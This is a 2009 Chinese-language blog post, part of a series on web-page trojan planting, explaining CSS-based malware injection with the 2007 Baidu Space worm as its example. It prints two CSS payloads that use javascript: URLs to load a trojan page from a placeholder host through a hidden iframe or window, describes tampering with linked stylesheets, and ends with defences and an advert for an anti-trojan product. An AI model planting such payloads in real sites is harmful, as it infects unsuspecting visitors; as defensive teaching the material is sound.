注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

苗得雨:网事争锋

我们在攻击邪恶和黑暗时要毫不留情,但是也要腾出时间来为善行鼓掌,为光明喝彩!

 
 
 

日志

 
 

安全工程师之网页挂马系列3:潜伏的危机CSS挂马  

2009-03-17 06:58:22|  分类: 网络安全专栏 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

 

文章要点:了解CSS挂马方式

文章难度:★★

学习进程:

IFRAME挂马

JS挂马

CSS挂马

×变形与加密挂马

……

IFRAME挂马方式比较早,相应的预防措施也比较多,其中用CSS配合JS脚本进行预防的是主流。可这种预防方式也存在安全隐患,JS脚本也可以被用来挂马,令人防不胜防。这就是我们下面要反击的JS挂马方式。

 

锐甲安全工程师海波:网站挂马的手段最初非常单一,但是随着Web2.0技术的应用,Blog、Wiki等广泛的应用,挂马技术也开始涌现出各种各样的技术。其中最著名的挂马案例就是当年百度空间在推出不久之后被挂马的事件。

2007年末,许多百度用户收到了类似“哈,节日快乐呀!热烈庆祝2008,心情好好,记得要想我呀!http://hi.baidu.com/XXXXX”的站内消息,由于网址是是百度空间的网址,许多用户认为不会存在安全问题,加上又有可能是自己朋友发来的,因此会毫不犹豫的点击进入。但是进入指定的网址后,用户就会感染蠕虫病毒,并继续传播。

由于蠕虫扩散非常严重,最终导致百度空间不得不发布官方声明提醒用户,并且大费周折的在服务器中清除蠕虫的恶意代码。这一次的挂马事件利用的就是百度空间CSS模板功能,通过变形的expression在CSS代码中动态执行脚本,让指定的远程恶意代码文件在后台悄悄运行并发送大量伪造信息。对于一些菜鸟或者迷信大网站不轻点击陌生链接的用户,用百度空间挂马的危险性和杀伤力可想而知。

除百度之外,MySpace等许多著名的SNS网站和Blog网站,都曾爆发过利用CSS代码进行挂马的事件,CSS挂马也成为Web2.0时代黑客的最爱。

 

为什么选择CSS挂马?

在Web1.0的时代,使用IFRAME挂马对于黑客而言,与其说是为了更好的实现木马的隐藏,倒不如说是无可奈何的一个选择。简单的HTML网页和缺乏交互性的网站中,黑客的可以利用的手段也非常有限,即使采取了复杂的伪装,很容易被识破,还不如IFRAME来的直接和有效。

但现如今交互式的Web2.0网站越来越多,允许用户自己定义进行设置与修改的博客、SNS社区等纷纷出现。这些互动性非常强的社区和博客中,往往会提供丰富的功能,并且会允许用户使用CSS层叠样式表来对网站的网页进行自由的修改,这促使了CSS挂马手段的出现。

层叠样式表简写为CSS,它是英语Cascading StyleSheets的缩写。它是W3C定义和维护的标准,一种用来为结构化文档(如HTML文档或XML应用)添加样式(字体、间距和颜色等)的计算机语言。一个网页的读者和作者都可以使用CSS来决定文件的颜色、字体、排版等显示特性。CSS最主要的目的是将文件的结构(用HTML或其他相关的语言写的)与文件的显示(CSS)分隔开来。这个分隔可以让文件的可读性被加强、文件的结构更加灵活、作者和读者可以自己决定文件的显示以及让文件的结构变得简化。

小百科:CSS还可以使用其他的显示方式,比如声音(假如浏览器有阅读功能的话)或给盲人用的感受装置。此外CSS还可以与XHTML、XML或其他结构文件一起使用,唯一条件是显示这种文件的浏览器装备了接受CSS的功能。HTML文件中的每一个class或id都可以有自己的显示特征,而且每一个没有id特性的HTML结构也可以有自己的显示特征。这些结构有的是HTML自己需要的,有的是专门为CSS设置的。

由于许多博客等Web2.0网站支持用户使用CSS编写自己个性化的页面,而CSS挂马方式也随着越来越多的博客空间添加模板、换肤等功能开始被发扬光大。这种利用可信的知名网站的Web2.0程序的漏洞进行挂马的新方式不仅让许多网站颜面信用扫地,也让许多用户一时间变得疑神疑鬼。

 

挂马原理一点通

在网页中使用CSS挂马最初主要是为了提高网页木马的可信度,这就如同你去一家知名且证照齐全的大医院去看病,你非常信任医院,但是你所看的门诊却已经被庸医外包了下来,并且打着医院的名义利用你的信任成功的欺骗了你。但是当你事后去找人算账时,医院此时也往往一脸无辜。这与CSS挂马异曲同工。

黑客在利用CSS挂马时,也往往是借着你对某些大网站的信任,将CSS恶意代码挂到博客或者其它支持CSS的网页中,当你在访问时恶意代码就会执行。当然有些黑客也会利用它的隐蔽特点,在入侵的网站中挂马,因此对于安全工程师而言,CSS挂马的排查是必备常识。

 

CSS挂马攻防实录

:黑客在利用CSS挂马的方法非常之多,有各种各样的变形挂马方式,还有通过配合JS等其它挂马方式进行多重隐藏的挂马手段。通常而言,这些CSS挂马方式主要会根据不同的环境进行选择,目前较为流行做法的是通过有漏洞的博客或者SNS社交网站系统,将恶意的CSS代码写入到支持CSS功能的个性化页面中,下面我们就为见习安全工程师们提供几个典型的CSS挂马案例。

案例1:

Body{

background-image:url('javascript:document.write("<Iframesrc=http://www.X.com/muma.htm width=0height=0></iframe>")')

}

“background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式,这段恶意代码主要是通过“background-image”配合JavaScript的代码将网页木马悄悄的在用户的电脑中运行。

那如何将这段CSS恶意代码挂到正常的网页中去呢?黑客可以将生成好的0Day或者其它网页木马放到自己指定的位置,然后将该段恶意代码写入到挂马网站的网页中,或者挂马网页所调用的CSS文件中。例如找到挂马网页中调用CSS的代码:

<link type="text/css"rel="stylesheet" href="http://www.X.com/ /css/basic.css"media="screen" />

找到该段代码后,将该段代码的CSS文件进行篡改,通常情况下安全工程师要费一些周折才能够查到毒源。

安全工程师之网页挂马系列3:潜伏的危机CSS挂马 - 苗得雨 - 苗得雨:网事争锋

案例1运行效果

小百科:使用BODY对象元素,主要是为了让对象不再改变整个网页文档的内容,通过Body对象的控制,可以内容或者效果控制在指定的大小内,如同使用DIV对象那样精准的设置大小。

案例2:

Body{

background-image: url(javascript:open('http://www.X.com/muma.htm ','newwindow','height=0, width=0,top=1000, left=0, toolbar=no, menubar=no, scrollbars=no,resizable=no,location=no, status=no'))

}

案例1的CSS挂马技术,在运行时会出现空白的页面,影响网页访问者正常的访问,因此比较容易发现。不过在案例2中的这段代码,使用了JavaScript的Open开窗,通过新开打开一个隐藏的窗口,在后台悄悄的运行新窗口并激活访问网页溢出木马页面,不会影响访问者的观看网页内容,因此更加隐蔽。

安全工程师之网页挂马系列3:潜伏的危机CSS挂马 - 苗得雨 - 苗得雨:网事争锋

案例2:网页文字内容并没有受到影响

比较讽刺的是,这些CSS挂马方式,其实都是从我们前面介绍的用CSS防范IFRAME挂马的防范技巧演变而来,只不过此时用来防御的武器,立刻变成了杀伤性武器。

 

:目前除了使用以前的阻断弹出窗口防范CSS挂马之外,还可以在网页中设置CSS过滤,将CSS过滤掉。不过如果你选择过滤CSS的话,首先需要留意自己的相关网页是否有CSS的内容,因此我们仍然首推阻断方式来方法CSS。不过阻断方式也有天生致命的弱点,弱点的秘密我们将在下一期揭晓。

对于普通用户可以选择使用防挂马软件锐甲进行防护,锐甲(下载地址:http://www.araymor.com/download.html)就可以帮助你防御网页中的木马,安装后无须任何设置,自动检测网页危险,遇到挂马、带毒网站时会屏蔽并提示见图,还能自动修补漏洞。

安全工程师之网页挂马系列3:潜伏的危机CSS挂马 - 苗得雨 - 苗得雨:网事争锋

(苗得雨)

 

 

上期提问

网友来信:我非常着迷这次网页挂马的连载,也有志成为一名安全工程师。在看来前两期之后,我突然有了一个问题,请问JS挂马和其它的挂马方式可以混合使用吗?这样混合使用是不是会更不容易查杀?

苗得雨:JS挂马和包括我们本期介绍的CSS挂马等多种挂马方式是可以实现混用的,如果黑客在同一个页面上使用了N中挂马方式,查杀起来也不难。相对比较难的是,有的黑客会采用加密、跳转等其它手段迷惑安全工程师,造成查杀和追踪上的苦难。但是请你相信,魔高一尺道高一丈这句谚语,无论任何加密或者伪装手段,只要有细心和耐心,总会有办法查到的。

  评论这张
 
阅读(103)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017